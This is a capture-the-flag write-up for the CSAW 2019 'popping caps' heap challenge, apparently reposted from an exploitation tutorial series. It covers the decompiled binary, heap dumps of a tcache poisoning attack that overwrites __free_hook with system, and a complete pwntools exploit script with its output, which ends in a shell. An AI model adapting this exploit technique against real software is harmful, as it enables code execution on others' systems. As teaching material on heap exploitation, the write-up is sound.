Rating:

# Popping Caps 1

For this writeup, I'm assuming you've solved the first popping caps. These two are pretty similar.

## Reversing

Taking a look at the main function, we see a lot of similarities:

```
undefined8 main(void)

{
ulong choice;
size_t size;
long freeOffset;
long lives;
void *ptr;
void *ptrCpy;

setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
printf("Here is system %p\n",system);
lives = 7;
ptr = (void *)0x0;
ptrCpy = (void *)0x0;
while (lives != 0) {
printf("You have %llu caps!\n",lives);
puts("[1] Malloc");
puts("[2] Free");
puts("[3] Write");
puts("[4] Bye");
puts("Your choice: ");
choice = read_num();
if (choice == 2) {
puts("Whats in a free: ");
freeOffset = read_num();
free((void *)((long)ptr + freeOffset));
if (ptr == ptrCpy) {
ptrCpy = (void *)0x0;
}
}
else {
if (choice < 3) {
if (choice == 1) {
puts("How many: ");
size = read_num();
ptr = malloc(size);
ptrCpy = ptr;
}
}
else {
if (choice == 3) {
puts("Read me in: ");
read(0,ptrCpy,0xff);
}
else {
if (choice == 4) {
bye();
}
}
}
}
puts("BANG!");
lives = lives + -1;
}
bye();
return 0;
}
```

So some differences we noticed from the first problem, we can scan in `0xff` bytes instead of `0x8` bytes. Also we notice that the `bye` function doesn't have the `malloc` call in it:

```
void bye(void)

{
/* WARNING: Subroutine does not return */
exit(0);
}
```

So we have to do this without a malloc at the end. Our previous attack won't work anymore.

## Exploit

For this, we will essentially be freeing the chunk which holds the tcache linked list information, reallocating it, and writing to it. First we call malloc to setup the heap:

```
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x0
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
```

Proceeding that, we will free the tcache idx block:

```
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x1000000 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x0
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x556921223010
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
```

As you can see, that chunk is in the tcache. Next we will allocate it:
```
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x0
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
```

Now `ptrCopy` is set equal to `0x556921223010`. We will write to the tcache idx block. We will write to the beginning of the first idx, the libc address of `free` (which we know from the earlier infoleak), and also set the idx count to `0x1`. Also one thing I did here is I put `/bin/sh\x00` at `0x556921223050`, however that ended up not being needed:

```
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x1 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x7f9c2755b8e8 0x68732f6e69622f
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
gef➤ x/g 0x7f9c2755b8e8
0x7f9c2755b8e8 <__free_hook>: 0x0
```

Proceeding that we will allocate the chunk to the free hook:
```
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x68732f6e69622f
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
```

Now that `ptrCopy` is set to the free hook, we will write to it the address of `system`. I originally tried using a onegadget, however they didn't work for me in this case:
```
gef➤ x/g 0x7f9c2755b8e8
0x7f9c2755b8e8 <__free_hook>: 0x7f9c271bd440
gef➤ x/g 0x7f9c271bd440
0x7f9c271bd440 <system>: 0xfa66e90b74ff8548
```

Now `ptr` is set to the free hook at `0x7f9c2755b8e8`, in the libc. Next we will free the string `/bin/sh\x00` in the libc, by passing our argument to free to be the offset between the free hook and that string. When we do that, the free hook gets called with the argument to free which is a pointer to `/bin/sh`. This calls `system("/bin/sh")`.

## Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

#target = remote("pwn.chal.csaw.io", 1008)
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(target, gdbscript='pie b *0xbca')

elf = ELF("popping_caps")
libc = ELF("libc.so.6")

leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)

libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)

def pl():
print target.recvuntil("Your choice:")

def malloc(x):
pl()
target.sendline("1")
print target.recvuntil("How many:")
target.sendline(str(x))

def write(x):
pl()
target.sendline("3")
print target.recvuntil("Read me in:")
target.send(x)

def free(x):
pl()
target.sendline("2")
print target.recvuntil("Whats in a free:")
target.sendline(str(x))

malloc(0)

free(-592)

malloc(0x240)

payload = p64(0x1) + p64(0x0)*7 + p64(libcBase + libc.symbols["__free_hook"]) + "/bin/sh\x00"

write(payload)

malloc(0)

write(p64(libcBase + libc.symbols["system"]))

free(-2333262)

target.interactive()
```

When we run it:
```
$ python roland.py
[+] Starting local process './popping_caps': pid 3993
[*] '/home/guyinatuxedo/Desktop/roland/popping_caps'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/guyinatuxedo/Desktop/roland/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc base: 0x7f3a7d695000
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 6 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Whats in a free:

BANG!
You have 5 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 4 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Read me in:

BANG!
You have 3 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

How many:

BANG!
You have 2 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Read me in:

BANG!
You have 1 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:

Whats in a free:
[*] Switching to interactive mode

$ w
22:52:12 up 39 min, 1 user, load average: 0.00, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 22:13 ?xdm? 32.21s 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core libc.so.6 popping_caps roland.py solved.py
```

Just like that, we popped a shell!

Original writeup (https://github.com/guyinatuxedo/nightmare/tree/master/modules/44-more_tcache/csaw19_popping_caps1).